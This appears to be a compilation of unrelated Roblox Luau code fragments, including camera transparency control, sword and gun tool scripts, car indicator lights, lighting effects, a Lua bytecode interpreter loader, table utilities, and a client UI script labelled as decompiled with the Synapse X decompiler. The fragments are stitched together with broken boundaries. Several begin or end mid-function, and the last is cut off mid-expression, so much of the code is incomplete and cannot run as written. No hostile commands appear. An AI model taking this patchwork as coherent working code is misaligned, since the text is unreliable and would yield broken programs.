local MAX_TWEEN_RATE = 2.8 -- per second local function clamp(low, high, num) if low <= high then return math.min(high, math.max(low, num)) end return num end local function Round(num, places) places = places or 0 local decimalPivot = 10^places return math.floor(num * decimalPivot + 0.5) / decimalPivot end local function CreateTransparencyController() local module = {} local LastUpdate = tick() local TransparencyDirty = false local Enabled = false local LastTransparency = nil local DescendantAddedConn, DescendantRemovingConn = nil, nil local ToolDescendantAddedConns = {} local ToolDescendantRemovingConns = {} local CachedParts = {} local function HasToolAncestor(object) if object.Parent == nil then return false end return object.Parent:IsA('Tool') or HasToolAncestor(object.Parent) end local function IsValidPartToModify(part) if part:IsA('BasePart') or part:IsA('Decal') then return not HasToolAncestor(part) end return false end local function CachePartsRecursive(object) if object then if IsValidPartToModify(object) then CachedParts[object] = true TransparencyDirty = true end for _, child in pairs(object:GetChildren()) do CachePartsRecursive(child) end end end local function TeardownTransparency() for child, _ in pairs(CachedParts) do child.LocalTransparencyModifier = 0 end CachedParts = {} TransparencyDirty = true LastTransparency = nil if DescendantAddedConn then DescendantAddedConn:disconnect() DescendantAddedConn = nil end if DescendantRemovingConn then DescendantRemovingConn:disconnect() DescendantRemovingConn = nil end for object, conn in pairs(ToolDescendantAddedConns) do conn:disconnect() ToolDescendantAddedConns[object] = nil end for object, conn in pairs(ToolDescendantRemovingConns) do conn:disconnect() ToolDescendantRemovingConns[object] = nil end end local function SetupTransparency(character) TeardownTransparency() if DescendantAddedConn then DescendantAddedConn:disconnect() end DescendantAddedConn = character.DescendantAdded:connect(function(object) -- This is a part we want to invisify if IsValidPartToModify(object) then CachedParts[object] = true TransparencyDirty = true -- There is now a tool under the character elseif object:IsA('Tool') then if ToolDescendantAddedConns[object] then ToolDescendantAddedConns[object]:disconnect() end ToolDescendantAddedConns[object] = object.DescendantAdded:connect(function(toolChild) CachedParts[toolChild] = nil if toolChild:IsA('BasePart') or toolChild:IsA('Decal') then -- Reset the transparency toolChild.LocalTransparencyModifier = 0 end end) if ToolDescendantRemovingConns[object] then ToolDescendantRemovingConns[object]:disconnect() end ToolDescendantRemovingConns[object] = object.DescendantRemoving:connect(function(formerToolChild) wait() -- wait for new parent if character and formerToolChild and formerToolChild:IsDescendantOf(character) then if IsValidPartToModify(formerToolChild) then CachedParts[formerToolChild] = true TransparencyDirty = true end end end) end end) if DescendantRemovingConn then DescendantRemovingConn:disconnect() end DescendantRemovingConn = character.DescendantRemoving:connect(function(object) if CachedParts[object] then CachedParts[object] = nil -- Reset the transparency object.LocalTransparencyModifier = 0 end end) CachePartsRecursive(character) end function module:SetEnabled(newState) if Enabled ~= newState then Enabled = newState self:Update() end end function module:SetSubject(subject) local character = subject and subject:IsA('Humanoid') and subject.Parent if character then SetupTransparency(character) else TeardownTransparency() end end function module:Update() local instant = false local now = tick() local currentCamera = workspace.CurrentCamera if currentCamera then local transparency = 0 if not Enabled then instant = true else local distance = (currentCamera.Focus.p - currentCamera.CoordinateFrame.p).magnitude transparency = (7 - distance) / 5 if transparency < 0.5 then transparency = 0 end if LastTransparency then local deltaTransparency = transparency - LastTransparency -- Don't tween transparency if it is instant or your character was fully invisible last frame if not instant and transparency < 1 and LastTransparency < 0.95 then local maxDelta = MAX_TWEEN_RATE * (now - LastUpdate) deltaTransparency = clamp(-maxDelta, maxDelta, deltaTransparency) end transparency = LastTransparency + deltaTransparency else TransparencyDirty = true end transparency = clamp(0, 1, Round(transparency, 2)) end if TransparencyDirty or LastTransparency ~= transparency then for child, _ in pairs(CachedParts) do child.LocalTransparencyModifier = transparency end TransparencyDirty = false LastTransparency = transparency end end LastUpdate = now end return module end return CreateTransparencyController
-- Set Pet Canvas Size --
function PetSrollingFrame:SetPetCanvasSize(searchOn) PetUI.Size = UDim2.new(0.515, 0, 0.745, 0) local PADDING, SIZE, MaxCells = getSizes() local AbsoluteSize = ScrollingFrame.AbsoluteSize local NewPadding = PADDING * AbsoluteSize NewPadding = UDim2.new(0, NewPadding.X, 0, NewPadding.Y) local NewSize = SIZE * AbsoluteSize NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y) UIGridLayout.CellPadding = NewPadding UIGridLayout.CellSize = NewSize local children = ScrollingFrame:GetChildren() local items = 0 if searchOn == true then for _, v in pairs(PetsFrame:GetChildren()) do if v:IsA("ImageLabel") and v:FindFirstChild("Data") then if v.Visible == true then items = items + 1 end end end else items = (#children) - 1 end local frameSizeY = ScrollingFrame.AbsoluteSize.Y local ySize = UIGridLayout.CellSize.Y.Offset local yPadding = UIGridLayout.CellPadding.Y.Offset UIGridLayout.FillDirectionMaxCells = MaxCells local rows = math.ceil(items / UIGridLayout.FillDirectionMaxCells) local pixels = rows * ySize + (rows - 1) * yPadding ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5)) if PetUI.Visible == false then PetUI.Size = UDim2.new(0, 0, 0, 0) end end return PetSrollingFrame
-- / Configuration / --
local Configurations = GameAssets.Configurations local PlayerStatsConfiguration = Configurations.PlayerStatsConfiguration
--//Setup//--
local PoopHolder = game.Workspace.PoopHolder
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value >= 40 end
--= Variables =--
local plr = game.Players.LocalPlayer repeat wait() until plr.Character --Getting the player local chr = plr.Character hum = chr:FindFirstChild("Humanoid") gui = script:WaitForChild("Shading")
--END OF CONFIGURABLE OPTIONS--
r = game:service("RunService") function candamage(myteam,theirteam) if myteam ~= theirteam or (myteam == black and theirteam == black) then return true else return false end end local acceptableparts = { "Head"; "Left Arm"; "Left Leg"; "Right Arm"; "Right Leg"; "Torso"; } function matches(partname) for i,v in pairs(acceptableparts) do if partname == v then return true end end return false end local damage = 5 local slash_damage = 11 local lunge_damage = 22 sword = script.Parent.Handle Tool = script.Parent local SlashSound = sword.SlashSound local LungeSound = sword.LungeSound local UnsheathSound = sword.UnsheathSound function blow(hit) if (hit.Parent == nil) then return end if matches(hit.Name) then local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") if humanoid and humanoid ~= hum and hum then -- final check, make sure sword is in-hand local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm) then local joint = right_arm:FindFirstChild("RightGrip") if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then if guygettingsliced then --If he's a player if candamage(vPlayer.TeamColor, guygettingsliced.TeamColor) == true then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end else --If he's not a player (AI, shop, etc) tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool wait(.1) swordOut() wait(.75) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--Internal Settings--
local fullMag = 30 local spread = 1.1 -- in degrees local fullauto = false -- shoots all bullets as long as the player is visible. turning this off reverts shooting mechanic back to the original marine mechanics (boolean) local burstamount = 3 -- (only works if full auto is off) amount of times gun fires in burst fire mode local firerate = 1 -- wait between shooting in seconds local shotgunpellets = 3 -- setting this above 1 turns the gun into a shotgun (MIGHT LAG WITH FULL AUTO ON) local delaybeforereloading = 0.3 -- to delay reload (prevents the marine from shooting the last shot of the mag at the ground) local MinimumDamage,MaximumDamage = 30, 40 -- the amount of damage each bullet does (RANDOMIZED) first value is minimum, second value is maximum local SemiAtLongRange = false -- restores the behaviour of the marine shooting in semi at long distances (i made this toggleable because i didnt like it) local headshotmultiplier = 2 -- self explanitory (set this value to 1 if you dont want a multiplier) local HitWallSounds = {"rbxassetid://6962153997","rbxassetid://6962154328","rbxassetid://6962154691","rbxassetid://6962155018","rbxassetid://6962155378"} -- basically sounds for hitting walls local HitFleshSound = "rbxassetid://4988621968" -- plays when a creature gets shot local bulletacceleration = Vector3.new(0,-12,0) -- very similar to how acceleration works in particle emitters (setting the y value to a negative number will give the bullet bulletdrop) local maxdistance = 300 local bulletspeed = 400
-- Ângulo máximo que as rodas alcançarão ao girar -- Número mais alto significa curvas mais acentuadas, mas muito alto significa que as rodas podem bater na base do carro
local MAX_TURN_ANGLE = 40
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = true ,MoveBolt = true ,BoltLock = true ,CanBreachDoor = false ,CanBreak = false --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 1 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.225) ,SlideExtend = Vector3.new(0, 0, 0.225)
-- Enums -- Author(s): Jesse Appleton -- Date: 06/19/2022
-- [ LOCALS ] --
local cam = workspace.Camera local scenes = workspace.CameraScenes local currentTween = nil local looping = true
-- SETTINGS
local TRANSITION_TIME = 1 -- change this to how long you want the transition to take
-- connect events
zombie.Died:connect(onDied) zombie.Running:connect(onRunning) zombie.Jumping:connect(onJumping) zombie.Climbing:connect(onClimbing) zombie.GettingUp:connect(onGettingUp) zombie.FreeFalling:connect(onFreeFall) zombie.FallingDown:connect(onFallingDown) zombie.Seated:connect(onSeated) zombie.PlatformStanding:connect(onPlatformStanding) zombie.Swimming:connect(onSwimming)
--Version 2 1.03 I fixed a problem with the script building proportion of the script, which was broken by an update.
adminlist = {"add your name here" , "add friends name here"}--Add in the names of the people you want to be able to use the command script here.
--------LEFT DOOR 2--------
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
--[[ Credit to einsteinK. Credit to Stravant for LBI. Credit to the creators of all the other modules used in this. Sceleratis was here and decided modify some things. einsteinK was here again to fix a bug in LBI for if-statements --]]
local waitDeps = { 'Rerubi'; 'LuaK'; 'LuaP'; 'LuaU'; 'LuaX'; 'LuaY'; 'LuaZ'; } for i,v in pairs(waitDeps) do script:WaitForChild(v) end local luaX = require(script.LuaX) local luaY = require(script.LuaY) local luaZ = require(script.LuaZ) local luaU = require(script.LuaU) local rerubi = require(script.Rerubi) luaX:init() local LuaState = {} getfenv().script = nil return function(str,env) local f,writer,buff,name local env = env or getfenv(2) local name = (env.script and env.script:GetFullName()) local ran,error = pcall(function() local zio = luaZ:init(luaZ:make_getS(str), nil) if not zio then return error() end local func = luaY:parser(LuaState, zio, nil, name or "nil") writer, buff = luaU:make_setS() luaU:dump(LuaState, func, writer, buff) f = rerubi(buff.data, env) end) if ran then return f,buff.data else return nil,error end end
-- b2.BrickColor = BrickColor.new("Pearl") -- b2.Material = Enum.Material.SmoothPlastic
end end elseif input.KeyCode == Enum.KeyCode.Z then if input.UserInputState == Enum.UserInputState.Begin then if hazards then return end left = not left right = false if relay then repeat wait() until not relay end while left do l1.BrickColor = BrickColor.new("Deep orange") l1.Material = Enum.Material.Neon -- l2.BrickColor = BrickColor.new("Deep orange") -- l2.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("Deep orange") b1.Material = Enum.Material.Neon -- runner.Material = Enum.Material.SmoothPlastic -- runner.BrickColor = BrickColor.new("Pearl") cr.DriveSeat.Indicator.Value = true cr.DriveSeat.LI.Value = true wait(1/3) l1.BrickColor = BrickColor.new("Pearl") l1.Material = Enum.Material.SmoothPlastic --l2.BrickColor = BrickColor.new("Pearl") --l2.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.LI.Value = false if not headlt then b1.BrickColor = BrickColor.new("Pearl") b1.Material = Enum.Material.SmoothPlastic else b1.BrickColor = BrickColor.new("Pearl") b1.Material = Enum.Material.SmoothPlastic end wait(1/3) if not left then -- runner.Material = Enum.Material.Neon -- runner.BrickColor = BrickColor.new("Pearl") if brake then b1.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("Pearl") end end end end elseif input.KeyCode == Enum.KeyCode.X then if input.UserInputState == Enum.UserInputState.Begin then if hazards == false then hazards = true left = true right = true else hazards = false left = false right = false end if hazards then left = false right = false end if relay then repeat wait() until not relay end while hazards do l1.BrickColor = BrickColor.new("Deep orange") l1.Material = Enum.Material.Neon -- l2.BrickColor = BrickColor.new("Deep orange") -- l2.Material = Enum.Material.Neon r1.BrickColor = BrickColor.new("Deep orange") r1.Material = Enum.Material.Neon -- r2.BrickColor = BrickColor.new("Pearl") -- r2.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("New Yeller") b1.Material = Enum.Material.Neon -- runner.Material = Enum.Material.SmoothPlastic --runner.BrickColor = BrickColor.new("Pearl") --runner2.Material = Enum.Material.SmoothPlastic --runner2.BrickColor = BrickColor.new("Pearl") b2.BrickColor = BrickColor.new("New Yeller") b2.Material = Enum.Material.Neon cr.DriveSeat.Indicator.Value = true cr.DriveSeat.LI.Value = true cr.DriveSeat.RI.Value = true wait(1/3) l1.BrickColor = BrickColor.new("Pearl") l1.Material = Enum.Material.SmoothPlastic r1.BrickColor = BrickColor.new("Pearl") r1.Material = Enum.Material.SmoothPlastic -- l2.BrickColor = BrickColor.new("Pearl") -- l2.Material = Enum.Material.SmoothPlastic -- r2.BrickColor = BrickColor.new("Pearl") -- r2.Material = Enum.Material.SmoothPlastic b1.BrickColor = BrickColor.new("Pearl") b1.Material = Enum.Material.SmoothPlastic b2.BrickColor = BrickColor.new("Pearl") b2.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.LI.Value = false cr.DriveSeat.RI.Value = false wait(1/3) if not hazards then -- runner.Material = Enum.Material.Neon --runner.BrickColor = BrickColor.new("Pearl") -- runner2.Material = Enum.Material.Neon --runner2.BrickColor = BrickColor.new("Pearl") if brake then b1.Material = Enum.Material.Neon b2.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("Pearl") b2.BrickColor = BrickColor.new("Pearl") end end end end elseif input.KeyCode == Enum.KeyCode.C then if input.UserInputState == Enum.UserInputState.Begin then if hazards then return end right = not right left = false if relay then repeat wait() until not relay end while right do r1.BrickColor = BrickColor.new("Deep orange") r1.Material = Enum.Material.Neon -- r2.BrickColor = BrickColor.new("Deep orange") -- r2.Material = Enum.Material.Neon b2.BrickColor = BrickColor.new("New Yeller") b2.Material = Enum.Material.Neon cr.DriveSeat.Indicator.Value = true cr.DriveSeat.RI.Value = true -- runner2.Material = Enum.Material.SmoothPlastic -- runner2.BrickColor = BrickColor.new("Pearl") wait(1/3) r1.BrickColor = BrickColor.new("New Yeller") r1.Material = Enum.Material.SmoothPlastic -- r2.BrickColor = BrickColor.new("Pearl") --r2.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.RI.Value = false if not headlt then b2.BrickColor = BrickColor.new("Pearl") b2.Material = Enum.Material.SmoothPlastic else b2.BrickColor = BrickColor.new("Pearl") b2.Material = Enum.Material.SmoothPlastic end wait(1/3) if not right then -- runner2.Material = Enum.Material.Neon -- runner2.BrickColor = BrickColor.new("Pearl") if brake then b2.Material = Enum.Material.Neon b2.BrickColor = BrickColor.new("Pearl") end end end end elseif input.KeyCode == Enum.KeyCode.L then if input.UserInputState == Enum.UserInputState.Begin then if headlt and not highlt then highlt = true elseif headlt and highlt then headlt = false highlt = false elseif not headlt then headlt = true end if highlt then hi.BrickColor = BrickColor.new("Institutional white") hi.Material = Enum.Material.Neon lwww.SpotLight.Enabled = true rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon elseif not highlt then hi.BrickColor = BrickColor.new("Pearl") hi.Material = Enum.Material.SmoothPlastic lwww.SpotLight.Enabled = false if not brake then rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic else rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic if not headlt then rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic else rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic end end end if headlt then lw.BrickColor = BrickColor.new("Pearl") lw.Material = Enum.Material.Neon lww.SpotLight.Enabled = true rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon if not highlt then rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon end elseif not headlt then lw.Material = Enum.Material.SmoothPlastic lww.SpotLight.Enabled = false end end end end is.InputBegan:connect(DealWithInput) is.InputChanged:connect(DealWithInput) is.InputEnded:connect(DealWithInput) gr.Changed:connect(function() if gr.Value == -1 then rv.Material = Enum.Material.Neon else rv.Material = Enum.Material.SmoothPlastic end end)
--TextStuff
local Text = script.Parent Text.Text = Multiplier.Value Multiplier.Changed:Connect(function() Text.Text = Multiplier.Value end)
--[[ --▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬-- May, 3rd 2021 Created by NovemberReject Put this script in Workspace or ServerScriptService Set technology "ShadowMap" in Lighting properties --▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬-- ]]
local Vignette = true -- change to false if you don't want a shadow frame local Lighting = game:GetService("Lighting") local Bloom = Instance.new("BloomEffect") local Blur = Instance.new("BlurEffect") local ColorCor = Instance.new("ColorCorrectionEffect") local SunRays = Instance.new("SunRaysEffect") local DepthOfField = Instance.new("DepthOfFieldEffect") for i, v in pairs(Lighting:GetChildren()) do if v then v:Destroy() end end Bloom.Parent = Lighting Blur.Parent = Lighting ColorCor.Parent = Lighting SunRays.Parent = Lighting DepthOfField.Parent = Lighting Bloom.Intensity = 1 Bloom.Size = 56 Bloom.Threshold = 1 Blur.Size = 3 ColorCor.Brightness = 0 ColorCor.Contrast = 0.4 ColorCor.Saturation = 0.1 ColorCor.TintColor = Color3.fromRGB(255, 226, 202) SunRays.Intensity = 10 SunRays.Spread = 5 Lighting.Ambient = Color3.fromRGB(50, 30, 0) Lighting.Brightness = 2 Lighting.ColorShift_Bottom = Color3.fromRGB(0,0,0) Lighting.ColorShift_Top = Color3.fromRGB(0,0,0) Lighting.EnvironmentDiffuseScale = 1 Lighting.EnvironmentSpecularScale = 1 Lighting.GlobalShadows = true Lighting.OutdoorAmbient = Color3.fromRGB(70, 70, 70) Lighting.ShadowSoftness = 0 Lighting.ClockTime = 15 Lighting.GeographicLatitude = -12 Lighting.ExposureCompensation = 0.5 DepthOfField.Enabled = true DepthOfField.FarIntensity = 0.32 DepthOfField.FocusDistance = 0.05 DepthOfField.InFocusRadius = 40 DepthOfField.NearIntensity = 0.48 script:Destroy()
--!strict
local LookEvent:RemoteEvent = game:GetService("ReplicatedStorage"):WaitForChild("Events").Look local Players = game:GetService("Players") LookEvent.OnServerEvent:Connect(function(player:Player, Neck:Motor6D, Waist:Motor6D, NeckCF:CFrame, WaistCF:CFrame) local Character = player.Character if not Character or not Neck or not Waist or not Character:IsAncestorOf(Neck) or not Character:IsAncestorOf(Waist) then return end for _, plr:Player in Players:GetPlayers() do if plr ~= player then LookEvent:FireClient(plr, Neck, Waist, NeckCF, WaistCF) end end end)
--[=[ @within TableUtil @function Lock @param tbl table @return table Locks the table using `table.freeze`, as well as any nested tables within the given table. This will lock the whole deep structure of the table, disallowing any further modifications. ```lua local tbl = {xyz = {abc = 32}} tbl.xyz.abc = 28 -- Works fine TableUtil.Lock(tbl) tbl.xyz.abc = 64 -- Will throw an error (cannot modify readonly table) ``` ]=]
local function Lock(tbl: Table): Table local function Freeze(t: Table) for k,v in pairs(t) do if type(v) == "table" then t[k] = Freeze(v) end end return table.freeze(t) end return Freeze(tbl) end
--!strict
local Array = script.Parent local isArray = require(Array.isArray) local LuauPolyfill = Array.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T> return function<T>(array: Array<T>, ...: T): number if _G.__DEV__ then if not isArray(array) then error(string.format("Array.unshift called on non-array %s", typeof(array))) end end local numberOfItems = select("#", ...) if numberOfItems > 0 then for i = numberOfItems, 1, -1 do local toInsert = select(i, ...) table.insert(array, 1, toInsert) end end return #array end
-- Turns on the correct pieces of the display
function Display(d_hrsTens, d_hrsOnes, d_minsTens, d_minsOnes, d_noon) local parts = { hrsTens, hrsOnes, minsTens, minsOnes, noon } local taskLine = { d_hrsTens, d_hrsOnes, d_minsTens, d_minsOnes, d_noon } for i = 1, #taskLine do for j = 1, #taskLine[i] do if taskLine[i][j] == 1 then parts[i]:FindFirstChild(tostring(j)).Visible = true else parts[i]:FindFirstChild(tostring(j)).Visible = false end end end end
-------- OMG HAX
r = game:service("RunService") local damage = 10 local slash_damage = 15 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "http://www.roblox.com/asset/?id=18471816" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=18472672" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(script.Parent); local v2 = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("PlayerModule")):GetControls(); local v3 = game["Run Service"]; local l__UserInputService__4 = game:GetService("UserInputService"); local l__ProximityPromptService__5 = game:GetService("ProximityPromptService"); local l__TextService__6 = game:GetService("TextService"); local v7 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("GetPlatform")); local v8 = script:FindFirstAncestor("MainUI"); if v7() == "mobile" then v8.MainFrame:WaitForChild("MobileButtons").Visible = true; end; local l__PromptFrame__1 = v8:WaitForChild("MainFrame"):WaitForChild("PromptFrame"); local u2 = require(script:WaitForChild("MouseIcons")); local u3 = require(game:GetService("ReplicatedStorage"):WaitForChild("ClientModules"):WaitForChild("ButtonIcons")); local l__InteractButton__4 = v8.MainFrame:WaitForChild("MobileButtons"):WaitForChild("InteractButton"); local u5 = require(script:WaitForChild("Hint")); local l__TweenService__6 = game:GetService("TweenService"); local u7 = nil; local u8 = tick(); local l__Highlight__9 = script:WaitForChild("Highlight"); local u10 = Vector3.new(0, 0, 0); local u11 = nil; function update(p1, p2) task.spawn(function() if game.Players.LocalPlayer.Character:WaitForChild("Humanoid").Health == 0 then return end l__PromptFrame__1.Title.Text = p1.ObjectText; l__PromptFrame__1.Desc.Text = p1.ActionText; l__PromptFrame__1.Key.Text = p1.KeyboardKeyCode.Name; l__PromptFrame__1.Bar.Bar.Size = UDim2.new(0, 0, 1, 0); l__PromptFrame__1.Bar.Bar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Sine", 0.1, true); l__PromptFrame__1.CenterImage.Image = u2.getIcon(p1.ActionText); if p1.ActionText == "Collect" then task.delay(0.2, function() p1:InputHoldBegin(); end); end; local v9 = UDim.new(0.925, 0); if v7() ~= "pc" then l__PromptFrame__1.Key.Visible = false; l__PromptFrame__1.UIScale.Scale = 1.5; if v7() == "console" then l__PromptFrame__1.KeyXbox.Image = u3[p1.GamepadKeyCode.Name]; l__PromptFrame__1.KeyXbox.Visible = true; elseif v7() == "mobile" then l__PromptFrame__1.KeyXbox.Visible = false; end; else l__PromptFrame__1.Key.Visible = true; l__PromptFrame__1.KeyXbox.Visible = false; end; l__InteractButton__4.Icon.Image = l__PromptFrame__1.CenterImage.Image; if p1.ObjectText == "Hint" then local v10 = UDim.new(0.85, 0); l__PromptFrame__1.Key.Text = u5[p1.ActionText]; l__PromptFrame__1.CenterImage.Image = u2.getIcon(p1.ObjectText); end; local v11 = { BackgroundColor3 = Color3.fromRGB(0, 0, 0) }; if p2 == true then l__PromptFrame__1.BackgroundColor3 = Color3.new(0.776471, 0.729412, 0.376471); l__TweenService__6:Create(l__PromptFrame__1, TweenInfo.new(0.15, Enum.EasingStyle.Quart, Enum.EasingDirection.In), v11):Play(); else l__PromptFrame__1.BackgroundColor3 = Color3.new(0.337255, 0.423529, 0.533333); l__TweenService__6:Create(l__PromptFrame__1, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.In), v11):Play(); end; if 0 < p1.HoldDuration then l__PromptFrame__1.Bar.Visible = true; else l__PromptFrame__1.Bar.Visible = false; end; script.Holding:Stop(); local l__CurrentCamera__12 = workspace.CurrentCamera; local v13 = l__CurrentCamera__12.CFrame.Position; local v21 local v22, v23 = l__CurrentCamera__12:WorldToScreenPoint(v13 - Vector3.new(0, 0.2, 0)); local l__Parent__14 = p1.Parent; local v15 = false; u8 = tick(); if l__Parent__14 then if not l__Parent__14:IsA("BasePart") then if l__Parent__14:IsA("Model") then v13 = l__Parent__14:GetPivot().Position; v15 = true; elseif l__Parent__14:IsA("Attachment") then v13 = l__Parent__14.WorldPosition; end; else v13 = l__Parent__14:GetPivot().Position; v15 = true; end; l__Highlight__9.Adornee = l__Parent__14; l__Highlight__9.Enabled = true; l__PromptFrame__1.Visible = true; l__PromptFrame__1.Position = UDim2.new(0.5, 0, 2, 0); local v16 = u10; if v16 then if 7 <= (v16 